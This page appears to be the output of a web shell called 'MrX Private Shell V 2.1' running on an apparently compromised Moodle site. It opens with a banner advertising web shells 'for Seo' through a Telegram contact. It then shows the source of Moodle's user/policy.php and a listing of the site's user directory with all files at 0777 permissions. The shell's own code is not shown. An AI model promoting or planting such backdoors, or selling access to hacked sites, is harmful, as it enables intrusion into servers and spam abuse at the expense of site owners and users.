__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* This file is part of the User section Moodle
*
* @copyright 1999 Martin Dougiamas http://dougiamas.com
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
* @package core_user
*/
// Do not check for the site policies in require_login() to avoid the redirect loop.
define('NO_SITEPOLICY_CHECK', true);
require_once('../config.php');
require_once($CFG->libdir.'/filelib.php');
require_once($CFG->libdir.'/resourcelib.php');
$agree = optional_param('agree', 0, PARAM_BOOL);
$PAGE->set_url('/user/policy.php');
$PAGE->set_popup_notification_allowed(false);
if (!isloggedin()) {
require_login();
}
if (!empty($SESSION->wantsurl)) {
$return = $SESSION->wantsurl;
} else {
$return = $CFG->wwwroot.'/';
}
$sitepolicymanager = new \core_privacy\local\sitepolicy\manager();
if (!empty($CFG->sitepolicyhandler)) {
// We are on the wrong page, site policies are managed by somebody else.
if ($sitepolicyurl = $sitepolicymanager->get_redirect_url(isguestuser())) {
redirect($sitepolicyurl);
} else {
redirect($return);
}
}
$sitepolicy = $sitepolicymanager->get_embed_url(isguestuser());
if (empty($sitepolicy)) {
// Nothing to agree to, sorry, hopefully we will not get to infinite loop.
redirect($return);
}
if ($agree and confirm_sesskey()) { // User has agreed.
$sitepolicymanager->accept();
unset($SESSION->wantsurl);
redirect($return);
}
$strpolicyagree = get_string('policyagree');
$strpolicyagreement = get_string('policyagreement');
$strpolicyagreementclick = get_string('policyagreementclick');
$PAGE->set_context(context_system::instance());
$PAGE->set_title($strpolicyagreement);
$PAGE->set_heading($SITE->fullname);
$PAGE->navbar->add($strpolicyagreement);
echo $OUTPUT->header();
echo $OUTPUT->heading($strpolicyagreement);
$mimetype = mimeinfo('type', $sitepolicy);
if ($mimetype == 'document/unknown') {
// Fallback for missing index.php, index.html.
$mimetype = 'text/html';
}
// We can not use our popups here, because the url may be arbitrary, see MDL-9823.
$clicktoopen = '<a href="'.$sitepolicy.'" onclick="this.target=\'_blank\'">'.$strpolicyagreementclick.'</a>';
echo '<div class="noticebox">';
echo resourcelib_embed_general($sitepolicy, $strpolicyagreement, $clicktoopen, $mimetype);
echo '</div>';
$formcontinue = new single_button(new moodle_url('policy.php', array('agree' => 1)), get_string('yes'));
$formcancel = new single_button(new moodle_url($CFG->wwwroot.'/login/logout.php', array('agree' => 0)), get_string('no'));
echo $OUTPUT->confirm($strpolicyagree, $formcontinue, $formcancel);
echo $OUTPUT->footer();
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| amd | Folder | 0777 |
|
|
| classes | Folder | 0777 |
|
|
| filters | Folder | 0777 |
|
|
| profile | Folder | 0777 |
|
|
| selector | Folder | 0777 |
|
|
| templates | Folder | 0777 |
|
|
| tests | Folder | 0777 |
|
|
| UPGRADING.md | File | 1.31 KB | 0777 |
|
| action_redir.php | File | 11.87 KB | 0777 |
|
| calendar.php | File | 3.81 KB | 0777 |
|
| contactsitesupport.php | File | 3.17 KB | 0777 |
|
| contentbank.php | File | 2.24 KB | 0777 |
|
| defaulthomepage.php | File | 2.4 KB | 0777 |
|
| edit.php | File | 11.59 KB | 0777 |
|
| edit_form.php | File | 9.53 KB | 0777 |
|
| editadvanced.php | File | 13.74 KB | 0777 |
|
| editadvanced_form.php | File | 13.33 KB | 0777 |
|
| editlib.php | File | 19.44 KB | 0777 |
|
| editor.php | File | 2.52 KB | 0777 |
|
| editor_form.php | File | 2.51 KB | 0777 |
|
| emailupdate.php | File | 3.76 KB | 0777 |
|
| externallib.php | File | 87.06 KB | 0777 |
|
| files.php | File | 1.81 KB | 0777 |
|
| forum.php | File | 3.35 KB | 0777 |
|
| forum_form.php | File | 3.91 KB | 0777 |
|
| grouppix.php | File | 1.78 KB | 0777 |
|
| index.php | File | 11.23 KB | 0777 |
|
| language.php | File | 2.73 KB | 0777 |
|
| language_form.php | File | 2.9 KB | 0777 |
|
| lib.php | File | 54.1 KB | 0777 |
|
| managetoken.php | File | 5.02 KB | 0777 |
|
| pix.php | File | 1.51 KB | 0777 |
|
| policy.php | File | 3.26 KB | 0777 |
|
| portfolio.php | File | 4.76 KB | 0777 |
|
| portfoliologs.php | File | 5.7 KB | 0777 |
|
| preferences.php | File | 3.06 KB | 0777 |
|
| profile.php | File | 8.71 KB | 0777 |
|
| profilesys.php | File | 2.35 KB | 0777 |
|
| renderer.php | File | 11.21 KB | 0777 |
|
| upgrade.txt | File | 7.8 KB | 0777 |
|
| view.php | File | 8.75 KB | 0777 |
|